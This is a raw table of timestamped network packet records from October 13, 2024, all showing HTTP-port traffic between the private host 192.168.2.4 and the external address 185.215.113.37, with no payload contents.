Oct 13, 2024 06:54:17.834453106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.834470034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.834486008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.834501028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.834517002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.834548950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.834556103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.834583998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.834583998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.834599018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.834616899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.860927105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.860982895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861036062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861068010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861115932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861129999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861129999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861129999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861129999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861166000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861175060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861218929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861273050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861320972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861367941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861399889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861433029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861449003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861449003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861449003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861449003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861449003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861449003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861463070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861495972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861526012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861526012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861526966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861547947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861560106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861584902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861593008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861617088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861640930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861690044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861723900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861756086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861802101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861815929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861815929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861815929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861815929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861815929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861861944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.861871004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861903906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.861953020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862009048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862009048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862009048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862027884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862060070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862090111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862111092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862121105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862166882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862176895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862195969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862242937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862262011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862262011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862292051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862301111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862327099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862351894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862360001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862373114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862409115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862415075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862442970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862474918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862488985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862498999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862534046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862562895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862591028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862591028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862603903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862610102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862644911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862675905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862700939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862700939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862725973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862750053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862766027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862775087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862823963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862857103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862898111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862898111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862898111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862924099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862956047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.862974882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.862994909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863023996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863076925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863086939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863121033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863151073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863183022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863213062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863245010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863276005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863293886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863293886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863293886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863293886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863293886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863293886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863307953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863322973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863338947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863372087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863408089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863408089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863408089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863419056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863451004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863480091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863512993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863538980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863538980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863538980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863548040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863559008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863583088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863615036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863646030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863677979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863689899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863689899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863689899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863689899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863708973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863727093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863743067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863775969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863775015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863811016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863842010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863874912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863934994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.863944054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863944054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863944054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863944054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863944054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.863986015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864001036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864033937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864065886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864097118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864159107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864188910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864223003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864234924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864234924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864234924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864234924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864234924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864234924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864258051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864289045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864319086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864351034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864382029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864397049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864415884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864447117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.864468098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864468098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.864737988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921319008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921370029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921402931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921432972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921520948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921552896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921577930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921577930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921577930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921577930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921577930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921590090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921606064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921622992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921654940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921685934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921717882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921740055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921740055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921740055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921740055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921750069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921762943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921783924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921808958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.921818018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.921843052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.922071934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.922770977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.922830105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.922846079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.922880888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.922893047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.922914028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.922945976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.922979116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923011065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923043966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923074961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923095942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923095942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923095942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923095942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923095942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923095942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923125029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923156977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923188925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923214912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923214912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923214912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923219919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923253059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923274040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923274040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923285007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.923404932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.923404932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.949740887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.949795008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.949839115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.949852943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.949877024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.949886084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.949919939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.949934959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.949969053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950016022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950047016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950047016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950047016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950066090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950071096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950114965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950145960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950177908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950206995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950206995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950206995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950208902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950238943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950242996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950274944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950308084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950345993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950345993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950345993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950356960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950368881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950390100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950392008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950423002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950473070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950504065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950531960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950531960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950531960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950536966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950562954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950571060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950604916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950634956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950666904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950687885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950687885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950687885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950687885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950696945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950710058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950731039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950762033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950826883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950856924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950870991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950870991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950870991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950870991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950889111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950906992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.950925112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950953960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.950984001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.951005936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.951005936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.951005936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.951015949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.951046944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.951051950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.951064110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.951096058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.951128006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.951159954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.951191902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.951193094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.951193094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.951220989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.040770054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.045661926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.259571075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.259605885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.259669065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.259669065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:18.259741068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:18.259773970 CEST	80	49730	185.215.113.37	192.168.2.4
